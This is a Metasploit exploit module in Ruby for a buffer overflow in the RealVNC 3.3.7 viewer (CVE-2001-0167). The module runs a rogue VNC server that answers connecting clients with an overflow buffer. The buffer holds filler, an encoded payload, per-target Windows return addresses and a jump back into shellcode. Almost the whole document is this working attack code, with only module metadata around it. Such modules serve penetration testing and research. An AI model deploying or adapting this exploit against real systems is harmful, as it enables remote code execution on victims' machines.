RealVNC 3.3.7 Client Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::TcpServer  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RealVNC 3.3.7 Client Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in RealVNC 3.3.7 (vncviewer.exe).  
},  
'Author' => 'MC',  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>   
[   
[ 'CVE', '2001-0167' ],  
[ 'OSVDB', '6281' ],  
[ 'BID', '2305' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 500,  
'BadChars' => "\x00\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  
'MaxNops' => 0,  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ],  
[ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ],  
[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jan 29 2001',  
'DefaultTarget' => 0))  
  
register_options(  
[   
OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])  
], self.class)  
end  
  
def on_client_connect(client)  
  
rfb = "RFB 003.003\n"  
  
client.put(rfb)  
end  
  
def on_client_data(client)  
return if ((p = regenerate_payload(client)) == nil)  
  
filler = make_nops(993 - payload.encoded.length)  
  
sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + filler + payload.encoded  
sploit << [target.ret].pack('V') + make_nops(10) + [0xe8, -457].pack('CV')  
sploit << rand_text_english(200)  
  
print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")  
client.put(sploit)  
  
handler  
service.close_client(client)  
end  
  
end  
`